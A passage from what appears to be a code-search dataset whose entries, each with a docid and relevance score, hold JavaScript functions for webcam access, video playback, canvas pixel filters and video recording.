document.createElement('source');\n srcNode.setAttribute('type', 'video/webm');\n srcNode.setAttribute('src', Enabler.getUrl('videoPP0.webm'));\n creative.dom.video1.vid.appendChild(srcNode);\n\n srcNode = document.createElement('source');\n srcNode.setAttribute('type', 'video/mp4');\n srcNode.setAttribute('src', Enabler.getUrl('videoPP0.mp4'));\n creative.dom.video1.vid.appendChild(srcNode);\n\n creative.dom.video1.vid.appendChild(srcNode);\n\n Enabler.loadModule(studio.module.ModuleId.VIDEO, function() {\n studio.video.Reporter.attach('Video Report 1', creative.dom.video1.vid);\n }.bind(this));\n}", "title": "" }, { "docid": "3f0fca3c56ef2cd493e12a193b5b31e6", "score": "0.5658561", "text": "function initializeVideo() {\n const videoDuration = Math.round(video.duration);\n seek.setAttribute('max', videoDuration);\n progressBar.setAttribute('max', videoDuration);\n const time = formatTime(videoDuration);\n duration.innerText = `${time.minutes}:${time.seconds}`;\n duration.setAttribute('datetime', `${time.minutes}m ${time.seconds}s`)\n}", "title": "" }, { "docid": "9ccea629951c3cb30142eeed037b9556", "score": "0.56565845", "text": "function paintToCanvas() {\n // you will find that the canvas height is bigger than the current window size even though its size is set to 640*480\n // because the width of the canvas is set to 100% which means it will take 100% of the space availabe of its parent container (photobooth)\n // Since the width of the photobooth is appx 1330px \n // the canvas will also take width of 1330px\n // since the width is 1330px the height will be 999px in order to maintain the aspect ratio (640*480)\n // the canvas is taking aspect ratio from our defined size (i.e 640 * 480)\n // therefore you can change the aspect ratio by changing the width and height of the canvas\n // if you remove the width 100% from its css , it will regain the size of 640*480\n\n // width and height = 640 * 480 \n // because the resolution we get from the video feed is by default 640*480 and is pre-defined by the system webcam\n // setting canvas width and height = 640*480\n const width = video.videoWidth;\n const height = video.videoHeight;\n [canvas.width, canvas.height] = [width, height];\n\n // the video playing in the canvas is not a actual video\n // but rather a image showing every few millisecond (giving us a video like visual)\n // So every 16ms the image captured from the video feed will be pasted/drawed on the canvas.\n // So we can say our video on canvas is showing 1 frame every 16 milliseconds\n return setInterval(() => {\n // ctx.drawImage will draw the image captured from the video feed\n // 0,0 are the x and y coordinate of the top left corner of the canvas\n // it will indicate that from which point the image drawing will start\n // width and height is of the destination contex(canvas)\n ctx.drawImage(video, 0, 0, width, height);\n\n // FROM HERE AFTERWARDS pixels MEANS VARIABLE\n\n // ctx.getImageData will give the data of the image(from the video playing on the canvas) \n // pixels will store the image data in form of array of rgb values for individual pixels\n let pixels = ctx.getImageData(0, 0, width, height);\n\n // Rendering different effects for the pixels\n // Every image captured from the video feed every 16ms will go through these function everytime\n // The pixels returned by these function will have different rgb values as compared to the original pixels\n\n // This is for red filter\n // pixels = redEffect(pixels);\n\n // This is for rgbSplit(tiktok) filter\n // pixels = rgbSplit(pixels);\n\n // This is for green screen\n pixels = greenScreen(pixels);\n\n // globalAlpha will determine how transparent will be the filters (0 - fully transparent, 1-opaque)\n // ctx.globalAlpha = 0.8\n\n // this will put the modified pixels back into the canvas\n // thus showing the filter on the video\n ctx.putImageData(pixels, 0, 0)\n }, 16);\n}", "title": "" }, { "docid": "f796ebbd4cf0adb4fff133b8bdd2e585", "score": "0.5650598", "text": "function startVideo() {\n navigator.getUserMedia(\n { \n video: \n {\n //the ideal part is imp, it helps to get 16:9 ratio also\n height : { ideal : window.innerHeight } ,\n width : { ideal : window.innerWidth }\n } \n } ,\n stream => video.srcObject = stream,\n err => console.error(err)\n ) \n}", "title": "" }, { "docid": "a2b86feb817154e8c4724c908a4b34b7", "score": "0.5650538", "text": "function cameraVideoPageInitialised()\n{\n function handleOrientation(event)\n {\n var absolute = event.absolute;\n var alpha = event.alpha;\n var beta = event.beta;\n var gamma = event. gamma;\n }// Step 1: Check for and intialise deviceMotion\n cameraVideoPage.setHeadsUpDisplayHTML(absolute);\n cameraVideoPage.setHeadsUpDisplayHTML(alpha);\n cameraVideoPage.setHeadsUpDisplayHTML(beta);\n cameraVideoPage.setHeadsUpDisplayHTML(gamma);\n \n}", "title": "" }, { "docid": "97d340c0132c4d0f9f9aebbbd8c2d545", "score": "0.5650534", "text": "function installcanvas () {\n\n // if there's an iframe\n var iframe = document.getElementById('tool_content');\n if (iframe) {\n \t\taddEventListener(\"message\", installfromiframe('#content', 'about:blank', ''), false);\n } \n \n // multiple videos as per\n // https://canvas.harvard.edu/courses/340/wiki/supplemental-materials-for-lab-1-reporter-gene-analysis-using-transgenic-animals?module_item_id=630 \n else {\n\n // video locations that may need a click to access \n var containers = [].slice.call(document.getElementsByClassName('instructure_file_link_holder'));\n containers = containers.concat([].slice.call(document.getElementsByClassName('instructure_inline_media_comment')));\n // known video locations\n var matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n\n // if any known videos exist, launch those\n if (matches) {\n\n // loop through all known videos\n for (var i = 0; i < matches.length; i++) {\n\n // pull out the video number\n matches[i] = matches[i].replace(/\\D/g, \"\");\n\n // parameters for the videoplayer\n var parameter = {};\n\n // only supporting mp4 at the moment\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n if (parameter.source) {\n\n // get locally stored data \n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('<div/>');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n parameter.playing = false;\n\n // find if the video is playing\n if ($('#mep_' + matches[i]).find('.mejs-pause')[0]){\n parameter.playing = true;\n }\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n // install player\n install(container, parameter);\n }\n }\n }\n\n // click on all possible video containers, watch if things change\n if (containers.length != 0) {\n\n // watch for changes for each container\n for(var i = 0; i < containers.length; i++) {\n\n // use mutation observer as per \n // https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\n var observer = new MutationObserver(function (mutations) {\n mutations.forEach(function (mutation) {\n\n // see if changes are to the child of the container\n if (mutation.type === 'childList') {\n\n // look through each child\n Array.prototype.forEach.call(mutation.target.children, function (child) {\n\n // match (only once per video) -- same code as if (matches) branch\n matches = document.body.innerHTML.match(/me_flash_\\d_container/g);\n if (matches) {\n for (var i = 0; i < matches.length; i++) {\n matches[i] = matches[i].replace(/\\D/g, '');\n\n // parameters for the videoplayer\n var parameter = {};\n parameter.audio = false;\n\n // set number for video classes \n parameter.number = matches[i];\n\n // get source for available video\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\n if (parameter.source) {\n\n // get locally stored data for time\n var hist = JSON.parse(localStorage.getItem(parameter.source));\n if (hist) {\n parameter.time = hist.time;\n }\n\n // prepare new container\n var container = $('<div/>');\n\n // maximize player's width\n container.css('margin', '10px 0 0 0');\n container.css('padding', '0');\n container.css('width', '100%');\n\n // replace old container with new\n $('#mep_' + matches[i]).replaceWith(container);\n\n parameter.playing = false;\n\n // install player\n install(container, parameter);\n }\n }\n }\n });\n }\n });\n });\n\n // actually start observing\n observer.observe(containers[i], {\n childList: true,\n characterData: true,\n subtree: true\n });\n }\n\n // simulate click, waits for link to appear\n $('.media_comment_thumbnail').click(); \n } \n\n // no possible video containers, apologize\n else {\n apologize();\n }\n }\n}", "title": "" }, { "docid": "cf6859d318eb4be4a108c44c1ac8bd6e", "score": "0.5646782", "text": "function get_video(path) {\n //with camera stream, only working if we use video here not with 'var video', but before this point video doesn't exist\n video = video2;\n \n //need to be careful here: in use_webcam() the src Object is set with video.srcObject = stream; not with video.setAttribute(). If we don't reset\n //it to null it seems to override the attributes that are set with setAttribute.\n video.srcObject = null;\n //first I created a seperate source object here, which is complete nonesense\n //it's totally dufficient to add the path from the file picker <video src=\"path\" ...>\n video.setAttribute('src', path);\n video.load();\n video.play();\n\n //add an update, as soon as the video is running loop is called constantly\n video.ontimeupdate = function() {loop()};\n\n}", "title": "" }, { "docid": "30df98f2de921ea1fdd17d1f9fb972fd", "score": "0.5646207", "text": "function cameraSetup(){\n\t// Get access to the camera!\n\tif('mediaDevices' in navigator && 'getUserMedia' in navigator.mediaDevices) {\n\t\t// Not adding `{ audio: true }` since we only want video now\n\t\tnavigator.mediaDevices.getUserMedia({\n\t\t\t//Kamera Constrains:\n\t\t\t\n\t\t\tvideo: \n\t\t\t{\n\t\t\t\twidth: {ideal: 50},\n\t\t\t\theight: {ideal: 50},\n\t\t\t\tfacingMode: ['environment']\n\t\t\t}\n\t\t\t}).then(function(stream) {\n\t\t\t\tstreamVideo = stream;\n\t\t\t\tcameraOk = true;\n\t\t\t\tvideo.srcObject = stream;\n\t\t\t\tvideo.play();\n\n\t\t\t\tvar track = stream.getVideoTracks()[0];\n\t\t\t\t//Taschenlampe einschalten:\n\t\t\t\tconst imageCapture = new ImageCapture(track)\n\t\t\t\tconst photoCapabilities = imageCapture.getPhotoCapabilities().then(() => {\n\t\t\t\t\ttrack.applyConstraints({\n\t\t\t\t\t\tadvanced: [{torch: true}]\n\t\t\t\t\t});\n\t\t\t\t});\n\n\n\n\t\t\t});\n\t\t}\n\n\n\t}", "title": "" }, { "docid": "c8f18edc700cd2cdde9aeed02dad34c0", "score": "0.56395435", "text": "function captureVideo(cb){\n if (cb == null ){\n var options = { limit: 1 };\n navigator.device.capture.captureVideo(captureVideoSuccess, captureVideoError, options);\n }else{\n var options = { limit: 1 };\n navigator.device.capture.captureVideo(cb, captureVideoError, options);\n }\n}", "title": "" }, { "docid": "59471dcc3aa55408ed71a02de1c546f2", "score": "0.56310207", "text": "function captureVideo(){\nnavigator.device.capture.captureVideo(videoCaptureSuccess,videoCaptureFailed);\n //console.log(\"Its Working\");\n}", "title": "" }, { "docid": "de03c0027da981a092ed5f92cb62f053", "score": "0.5628762", "text": "function makevid(preformer){\r\n\r\n// image\r\n\tprefimg='<img class=\"png\" width=\"180\" height=\"148\" src=\"http://cdn-i.highwebmedia.com/roomimage/'+preformer+'.jpg\" img style=\"float:right;margin-right:100px;margin-top:10px;border-width:5px;border-style:double; \">';\r\n\tFversion=readCookie(\"CBversion\")\r\n\tif(!Fversion){Fversion=\"http://ccstatic.highwebmedia.com/static/flash/CBV_2p644.swf\"}\r\n\tvideodata2 = videodata2.replace(\"ladroop\",preformer);\r\n\tnewvid=document.createElement('div');\r\n\tnewvid.style.clear=\"both\";\r\n\tnewvid.innerHTML=prefimg+videodata1+Fversion+videodata2;\r\n\tdocument.getElementsByClassName('block')[0].appendChild(newvid)}", "title": "" }, { "docid": "ec8b45b0da3d23c15c79cf42f2db1b74", "score": "0.5622491", "text": "function startPreview() {\n var captureSettings = null;\n return findCamera()\n .then(function (id) {\n var captureInitSettings, videoDeviceController;\n try {\n captureInitSettings = new Windows.Media.Capture.MediaCaptureInitializationSettings();\n } catch (e) {\n if (e.number === REGDB_E_CLASSNOTREG) {\n throw new Error('Ensure that you have Windows Media Player and Media Feature pack installed.');\n }\n\n throw e;\n }\n captureInitSettings.videoDeviceId = id;\n captureInitSettings.sharingMode = Windows.Media.Capture.MediaCaptureSharingMode &&\n Windows.Media.Capture.MediaCaptureSharingMode.exclusiveControl;\n captureInitSettings.streamingCaptureMode = Windows.Media.Capture.StreamingCaptureMode.video;\n\n // use of SoftwareBitmap member in captured frames\n captureInitSettings.memoryPreference = Windows.Media.Capture.MediaCaptureMemoryPreference &&\n Windows.Media.Capture.MediaCaptureMemoryPreference.cpu;\n\n // try first with photo capture source\n captureInitSettings.photoCaptureSource = Windows.Media.Capture.PhotoCaptureSource.photo;\n\n capture = new Windows.Media.Capture.MediaCapture();\n return new WinJS.Promise(function(initComplete, initError) {\n return capture.initializeAsync(captureInitSettings).then(function() {\n videoDeviceController = capture.videoDeviceController;\n photoProperties = videoDeviceController.getAvailableMediaStreamProperties(Windows.Media.Capture.MediaStreamType.photo);\n videoPreviewProperties = videoDeviceController.getAvailableMediaStreamProperties(Windows.Media.Capture.MediaStreamType.videoPreview);\n initComplete(capture);\n }, function(error) {\n // try again with automatic capture source\n captureInitSettings.photoCaptureSource = Windows.Media.Capture.PhotoCaptureSource.videoPreview;\n return capture.initializeAsync(captureInitSettings).then(function() {\n videoDeviceController = capture.videoDeviceController;\n videoPreviewProperties = videoDeviceController.getAvailableMediaStreamProperties(Windows.Media.Capture.MediaStreamType.videoPreview);\n initComplete(capture);\n },\n function(err) {\n initError(err);\n });\n });\n });\n\n })\n .then(function () {\n // Get available aspect ratios\n var defaultAspectRatio = DEFAULT_ASPECT_RATIO;\n var aspectRatios = getAspectRatios();\n var sortedAspectRatios = aspectRatios.sort(function (aspectA, aspectB) {\n // sort aspect by defaultAspectRatio\n return (aspectA - defaultAspectRatio)*(aspectA - defaultAspectRatio) - (aspectB - defaultAspectRatio)*(aspectB - defaultAspectRatio);\n });\n var aspect = sortedAspectRatios[0];\n\n var maxResolution = getDesiredMaxResolution() || 5000000;\n\n // Max photo resolution with desired aspect ratio\n var videoDeviceController = capture.videoDeviceController;\n var photoResolution = {};\n\n var filteredResolutions;\n if (photoProperties) {\n filteredResolutions = photoProperties.filter(function(elem) {\n return ((elem.width / elem.height).toFixed(1) === aspect && elem.width * elem.height <= maxResolution);\n });\n if (filteredResolutions && filteredResolutions.length > 0) {\n // Max photo resolution with desired aspect ratio and <= maxResolution\n photoResolution = filteredResolutions.reduce(function(prop1, prop2) {\n return (prop1.width * prop1.height) > (prop2.width * prop2.height) ? prop1 : prop2;\n });\n } else {\n // Min photo resolution with desired aspect ratio\n photoResolution = photoProperties.filter(function(elem) {\n return ((elem.width / elem.height).toFixed(1) === aspect);\n }).reduce(function(prop1, prop2) {\n return (prop1.width * prop1.height) < (prop2.width * prop2.height) ? prop1 : prop2;\n });\n }\n if (maxResolution > 2100000) {\n maxResolution = 2100000;\n }\n }\n\n var videoPreviewResolution;\n filteredResolutions = videoPreviewProperties.filter(function(elem) {\n return ((elem.width / elem.height).toFixed(1) === aspect && elem.width * elem.height <= maxResolution);\n });\n if (filteredResolutions && filteredResolutions.length > 0) {\n // Max video preview resolution with desired aspect ratio and <= maxResolution\n videoPreviewResolution = filteredResolutions.reduce(function (prop1, prop2) {\n return (prop1.width * prop1.height) > (prop2.width * prop2.height) ? prop1 : prop2;\n });\n } else {\n // Min video preview resolution with desired aspect ratio\n videoPreviewResolution = videoPreviewProperties.filter(function(elem) {\n return ((elem.width / elem.height).toFixed(1) === aspect);\n }).reduce(function (prop1, prop2) {\n return (prop1.width * prop1.height) < (prop2.width * prop2.height) ? prop1 : prop2;\n });\n }\n\n\n videoProps = videoPreviewResolution;\n captureSettings = {\n capture: capture,\n width: videoProps.width,\n height: videoProps.height\n }\n\n if (photoResolution.length > 0) {\n return videoDeviceController.setMediaStreamPropertiesAsync(Windows.Media.Capture.MediaStreamType.photo, photoResolution).then(function () {\n return videoDeviceController.setMediaStreamPropertiesAsync(Windows.Media.Capture.MediaStreamType.videoPreview, videoPreviewResolution);\n });\n } else {\n return videoDeviceController.setMediaStreamPropertiesAsync(Windows.Media.Capture.MediaStreamType.videoPreview, videoPreviewResolution);\n }\n })\n .then(function () {\n if (photoProperties) {\n var encodingProperties = Windows.Media.MediaProperties.ImageEncodingProperties.createUncompressed(Windows.Media.MediaProperties.MediaPixelFormat.bgra8);\n return capture.prepareLowLagPhotoCaptureAsync(encodingProperties).then(function(llc) {\n lowLagPhotoCapture = llc;\n });\n } else {\n return WinJS.Promise.as();\n }\n })\n .then(function () {\n capturePreview.msZoom = true;\n capturePreview.src = URL.createObjectURL(capture);\n capturePreview.play();\n\n // Insert preview frame and controls into page\n document.body.appendChild(capturePreviewFrame);\n\n resizePreview();\n disableZoomAndScroll();\n\n return setupFocus(capture.videoDeviceController)\n .then(function () {\n Windows.Graphics.Display.DisplayInformation.getForCurrentView().addEventListener(\"orientationchanged\", updatePreviewForRotation, false);\n return updatePreviewForRotation();\n })\n .then(function () {\n if (!Windows.Media.Devices.CameraStreamState) {\n // CameraStreamState is available starting with Windows 10 so skip this check for 8.1\n // https://msdn.microsoft.com/en-us/library/windows/apps/windows.media.devices.camerastreamstate\n return WinJS.Promise.as();\n }\n function checkCameraStreamState() {\n if (capture.cameraStreamState !== Windows.Media.Devices.CameraStreamState.streaming) {\n // Using loop as MediaCapture.CameraStreamStateChanged does not fire with CameraStreamState.streaming state.\n return WinJS.Promise.timeout(CAMERA_STREAM_STATE_CHECK_RETRY_TIMEOUT)\n .then(function () {\n return checkCameraStreamState();\n });\n }\n return WinJS.Promise.as();\n }\n // Ensure CameraStreamState is Streaming\n return checkCameraStreamState();\n })\n .then(function () {\n resizePreview();\n return captureSettings;\n });\n });\n }", "title": "" }, { "docid": "61f37c9c969cc6aa0bd2f27df8961211", "score": "0.5619596", "text": "function Capture() {\n this.supportedAudioModes = [];\n this.supportedImageModes = [];\n this.supportedVideoModes = [];\n}", "title": "" }, { "docid": "61f37c9c969cc6aa0bd2f27df8961211", "score": "0.5619596", "text": "function Capture() {\n this.supportedAudioModes = [];\n this.supportedImageModes = [];\n this.supportedVideoModes = [];\n}", "title": "" }, { "docid": "5ebf4e912fdc47e7e2a7d52b58c22c42", "score": "0.56179863", "text": "function copy(){\n /*Videodaten von Video1 auf Buffer zeichnen und danach abfragen */\n bufferCanvasContext.drawImage(video1, 0, 0, 640, 480);\n bilddaten = bufferCanvasContext.getImageData(0,0,640, 480);\n /*Filterzustände abfragen und Bilddaten entsprechend manipulieren*/\n if(negativeFilter1){\n setNegative(bilddaten,bufferCanvasWidth,bufferCanvasHeight,video1Red,video1Green,video1Blue,video1Opacity);\n }\n else if(greyFilter1){\n setGrey(bilddaten,bufferCanvasWidth,bufferCanvasHeight,video1Red,video1Green,video1Blue,video1Opacity); \n }\n else{\n setColor(bilddaten,bufferCanvasWidth,bufferCanvasHeight,video1Red,video1Green,video1Blue,video1Opacity); \n }\n /*Manipulierte Bilddaten auf sichtbares Canvas Rendern*/\n drawCanvasContext.putImageData(bilddaten,0,0);\n \n\n /* Videodaten von Video 2 auf zweiten Buffer zeichnen und danach abfragen*/\n bufferCanvas2Context.drawImage(video2, 0, 0, 640, 480);\n bilddaten2 = bufferCanvas2Context.getImageData(0,0,640, 480);\n /* Filterzustände für Video 2 abfragen und Bilddaten entsprechend manipulieren*/\n if(negativeFilter2){\n setNegative(bilddaten2,bufferCanvas2Width,bufferCanvas2Height,video2Red,video2Green,video2Blue,video2Opacity);\n }\n else if(greyFilter2){\n setGrey(bilddaten2,bufferCanvas2Width,bufferCanvas2Height,video2Red,video2Green,video2Blue,video2Opacity); \n }\n else{\n setColor(bilddaten2,bufferCanvas2Width,bufferCanvas2Height,video2Red,video2Green,video2Blue,video2Opacity); \n }\n /*Manipulierte Bilddaten von Video 2 auf sichtbares Canvas Rendern*/\n drawCanvas2Context.putImageData(bilddaten2,0,0);\n\n\n /*Copy nach 25 ms erneut aufrufen, höhere Werte verringen FPS sowie benötigte Rechenleistung */\n setTimeout(copy,25);\n}", "title": "" }, { "docid": "39f418248945b715a5f583ae345ce6fc", "score": "0.56151944", "text": "function setup() {\n createCanvas(1280, 480); // Create a display window\n img = loadImage('lk.jpg'); // Load the image\n capture = createCapture(VIDEO); // Get the capture video\n capture.id(\"video_elemyent\"); // Set the video Id\n capture.size(640, 480); // Define video size to 640x480\n capture.hide() // Hide the streaning video\n faceapi = ml5.faceApi(capture, faceReady);\n}", "title": "" }, { "docid": "c064f0e912fc859f3d14ae527995bf2d", "score": "0.5609682", "text": "function setUpVideo( _id )\n {\n scope.stopVideoTimer();\n\n if( !videos[ _id ] ) return;\n currentVidVo = videos[ _id ];\n\n firedProgressEvents = [];\n video.setAttribute( 'src', getVideoPath());\n }", "title": "" }, { "docid": "174efce8b16ee345dd31a17d00554100", "score": "0.56087804", "text": "function record (stream){\n video.srcObject = stream;\n video.play()\n// propiedades del giff\n recorder = RecordRTC(stream, {\n type: 'gif',\n frameRate: 190,\n quality: 30,\n width: 360,\n hidden: 240,\n \n onGifRecordingStarted: function() {\n console.log('started')\n }, // cierro onGifRecordingStarted\n }); // cierro RecordRTC\n\n\n\n \n\n// Empiezo a grabar con el boton de capturar\n document.querySelector(\"#grabar\").addEventListener(\"click\",function(ev){\n tituloescondido.style.display = \"block\";\n titulonoescondido.style.display = \"none\";\n recorder.startRecording();\n console.log(recorder.state);\n empiezareloj = new Date().getTime(); \n tiempoGrabacion();\n\n})\n\n\n// Empiezo con la imagen\nimgcamara.addEventListener(\"click\",function(ev){\n tituloescondido.style.display = \"block\";\n titulonoescondido.style.display = \"none\";\n recorder.startRecording();\n console.log(recorder.state);\n empiezareloj = new Date().getTime(); \n tiempoGrabacion();\n})\n\n\n\nfunction tiempoGrabacion() {\n if (!recorder) {\n return;\n }\n // Cuento cada 1 seg, trate de hacerlo por milesimas pero hace salteos en el tiempo y no queda bien\n tiempo.innerText = reproducirSegundos((new Date().getTime() - empiezareloj) / 1000);\n setTimeout(tiempoGrabacion, 1000); \n}\n\n\n\n // Cuento cada 1 seg, trate de hacerlo por milesimas pero hace salteos en el tiempo y no queda bien\nstop.addEventListener(\"click\", () => { \n recorder.stopRecording(function() {\n videosave.style.display = \"block\";\n video.style.display = \"none\";\n blob = recorder.blob;\n let url = URL.createObjectURL(blob);\n videosave.src = url \n subir.addEventListener(\"click\", subircapptura)\n }) //Final StopRecording\n })//Final Evento Stop\n\n\n\n\niconostop.addEventListener(\"click\", () => { \n recorder.stopRecording(function() {\n videosave.style.display = \"block\";\n video.style.display = \"none\";\n blob = recorder.blob;\n let url = URL.createObjectURL(blob);\n videosave.src = url \n\n subir.addEventListener(\"click\", subircapptura)\n }) //Final StopRecording\n})\n\n\n } // final de la funcion Record", "title": "" }, { "docid": "3acfbd581728bb1b40a4f32e4723461b", "score": "0.56079286", "text": "function shoot(){\n var output = document.getElementById('output');\n var canvas = capture(video, scaleFactor);\n canvas.onclick = function(){\n window.open(this.toDataURL());\n };\n snapshots.unshift(canvas);\n output.innerHTML = '';\n for(var i=0; i<1; i++){\n output.appendChild(snapshots[i]);\n }\n}", "title": "" }, { "docid": "eb1cb6846d548c600d907579aed1f6d9", "score": "0.55995667", "text": "function videoProperties() {\n // r = video1.width/video1.height;\n w = video1.width;\n h = video1.height;\n // console.log(w,h);\n}", "title": "" }, { "docid": "7413e533d323ec09c323db17bfc642a2", "score": "0.55958694", "text": "startRecord(mimeString = \"video/webm;codecs=h264\", frameRate = 60.0) {\n this._chunks = [];\n let o = this;\n\n let stream = this._canvas.captureStream(frameRate);\n //let stream = this._canvas.captureStream();\n\n //default to 5Mbps\n this._recorder = new MediaRecorder(stream, {\n mimeType: mimeString,\n videoBitsPerSecond: 5000000\n });\n\n this._recorder.ondataavailable = function(event) {\n if (event.data.size) {\n o._chunks.push(event.data);\n }\n };\n\n this._recorder.start(10);\n }", "title": "" }, { "docid": "e5550346d5072267d77158325d7536b0", "score": "0.5589166", "text": "function setup() {\n // setup canvas: target\n canvas = createCanvas(640, 480, WEBGL);\n canvas.id('p5canvas');\n background(51);\n\n // setup webcam: source\n video = createCapture(VIDEO);\n video.size(width, height);\n video.id('p5video'); // giving an ID to the video to link to seriously\n video.hide();\n\n // switch between modes\n createP(\"To start, press 'a' for blur or 's' for vignette.\");\n\n // adjust blur\n createP('Adjust Blur');\n blurSlider = createSlider(0, 1, 0.5, 0.01);\n blurSlider.id('blur-slider');\n\n // adjust vignette strength\n createP('Adjust Vignette');\n vignetteSlider = createSlider(0, 100, 50);\n vignetteSlider.id('vignette-slider');\n\n\n // Call Seriously function inside the variable: seriously\n seriously = new Seriously(); // create an object called seriously\n\n // Source: webcam, target: canvas\n src = seriously.source('#p5video');\n target = seriously.target('#p5canvas');\n\n keyReleased();\n\n seriously.go();\n\n\n}", "title": "" }, { "docid": "55c4fde5c37edb8b0e0256b644d9269a", "score": "0.5587852", "text": "function startvideo() {\n webcam.style.width = document.width + 'px';\n webcam.style.height = document.height + 'px';\n webcam.setAttribute('autoplay', '');\n webcam.setAttribute('muted', '');\n\twebcam.setAttribute('playsinline', '');\n\n var constraints = {\n audio: false,\n video: {\n facingMode: 'user'\n }\n }\n \tnavigator.mediaDevices.getUserMedia(constraints).then(function success(stream) {\n webcam.srcObject = stream;\n initImages();\n animate();\n });\n}", "title": "" }, { "docid": "e3c50a8d65283dd1922fe6d5114d185c", "score": "0.55823237", "text": "function startPreview() {\n var captureSettings = new Windows.Media.Capture.MediaCaptureInitializationSettings();\n captureSettings.streamingCaptureMode = Windows.Media.Capture.StreamingCaptureMode.video;\n captureSettings.photoCaptureSource = Windows.Media.Capture.PhotoCaptureSource.videoPreview;\n \n // Enumerate cameras and add find first back camera\n var cameraId = null;\n var deviceInfo = Windows.Devices.Enumeration.DeviceInformation;\n if (deviceInfo) {\n deviceInfo.findAllAsync(Windows.Devices.Enumeration.DeviceClass.videoCapture).done(function (cameras) {\n if (cameras && cameras.length > 0) {\n cameras.forEach(function (camera) {\n if (camera && !cameraId) {\n // Make use of the camera's location if it is available to the description\n var camLocation = camera.enclosureLocation;\n if (camLocation && camLocation.panel === Windows.Devices.Enumeration.Panel.back) {\n cameraId = camera.id;\n }\n }\n });\n }\n if (cameraId) {\n captureSettings.videoDeviceId = cameraId;\n }\n\n capture.initializeAsync(captureSettings).done(function () {\n\n //trying to set focus mode\n var controller = capture.videoDeviceController;\n\n if (controller.focusControl && controller.focusControl.supported) {\n if (controller.focusControl.configure) {\n var focusConfig = new Windows.Media.Devices.FocusSettings();\n focusConfig.autoFocusRange = Windows.Media.Devices.AutoFocusRange.macro;\n\n var supportContinuousFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.continuous).returnValue;\n var supportAutoFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.auto).returnValue;\n\n if (supportContinuousFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.continuous;\n } else if (supportAutoFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.auto;\n }\n\n controller.focusControl.configure(focusConfig);\n controller.focusControl.focusAsync();\n }\n }\n\n var deviceProps = controller.getAvailableMediaStreamProperties(Windows.Media.Capture.MediaStreamType.videoRecord);\n\n deviceProps = Array.prototype.slice.call(deviceProps);\n deviceProps = deviceProps.filter(function (prop) {\n // filter out streams with \"unknown\" subtype - causes errors on some devices\n return prop.subtype !== \"Unknown\";\n }).sort(function (propA, propB) {\n // sort properties by resolution\n return propB.width - propA.width;\n });\n\n var maxResProps = deviceProps[0];\n\n controller.setMediaStreamPropertiesAsync(Windows.Media.Capture.MediaStreamType.videoRecord, maxResProps).done(function () {\n capturePreview.src = URL.createObjectURL(capture);\n // handle orientation change\n rotateVideoOnOrientationChange = true;\n capturePreview.onloadeddata = function () {\n updatePreviewForRotation();\n };\n // add event handler - will not work anyway\n window.addEventListener(\"orientationchange\", updatePreviewForRotation, false);\n\n capturePreview.play();\n\n // Insert preview frame and controls into page\n document.body.appendChild(capturePreview);\n document.body.appendChild(capturePreviewAlignmentMark);\n document.body.appendChild(captureCancelButton);\n\n startBarcodeSearch(maxResProps.width, maxResProps.height);\n });\n });\n });\n }\n }", "title": "" }, { "docid": "45ba9bb9be01b336185e8cc06a2674b7", "score": "0.5572608", "text": "function paintToCanvas() {\n // first we need the width and height\n const width = video.videoWidth;\n const height = video.videoHeight;\n // make sure now that the canvas is the same size as the video before we paint into it\n canvas.width = width;\n canvas.height = height;\n\n // now ever x seconds we're going to snap a picture\n setInterval(() => {\n ctx.drawImage(video, 0, 0, width, height); // paint with the video, starting at the left top of the canvas, with the width and height specified above;\n // take the pixels out\n let pixels = ctx.getImageData(0, 0, width, height); // we get an array of millions of pixel values with each one it's own color value\n // messing with the pixels\n //pixels = redEffect(pixels); // the function redEffect is all the way down below\n pixels = rgbSplit(pixels); // I'm choosing to play with this one instead of the two other functions\n ctx.globalAlpha = 0.8;\n //pixels = greenScreen(pixels);\n // putting the pixels back back\n ctx.putImageData(pixels, 0, 0);\n }, 16); // here every 16 milliseconds a picture is taken from the video\n}", "title": "" }, { "docid": "0d342e6f0640caf68861976dfe14a4fa", "score": "0.5563511", "text": "function initialize() {\n // Create a canvas element to which we will copy video.\n canvas = document.createElement('canvas');\n var webcamDimensions = webcam.getDimensions();\n canvas.width = webcamDimensions.width;\n canvas.height = webcamDimensions.height;\n\n // We need a context for the canvas in order to copy to it.\n context = canvas.getContext('2d');\n\n // create an AR Marker detector using the canvas as the data source\n detector = ardetector.create( canvas );\n\n // Create an AR View for displaying the augmented reality scene\n view = arview.create( webcam.getDimensions(), canvas );\n\n // Set the ARView camera projection matrix according to the detector\n view.setCameraMatrix( detector.getCameraMatrix(10,1000) );\n\n // Place the arview's GL canvas into the DOM.\n document.getElementById(\"application\").appendChild( view.glCanvas );\n }", "title": "" }, { "docid": "3304ebceef47e16aeb6067ad028b5ce3", "score": "0.55630887", "text": "async function setupCamera() {\n const video = document.getElementById('video');\n const canvas = document.getElementById('canvas');\n if (!video || !canvas) return null;\n\n let msg = '';\n log('Setting up camera');\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\n if (!navigator.mediaDevices) {\n log('Camera Error: access not supported');\n return null;\n }\n let stream;\n const constraints = {\n audio: false,\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\n };\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\n else constraints.video.height = { ideal: window.innerHeight };\n try {\n stream = await navigator.mediaDevices.getUserMedia(constraints);\n } catch (err) {\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\n log(`Camera Error: ${msg}: ${err.message || err}`);\n return null;\n }\n // @ts-ignore\n if (stream) 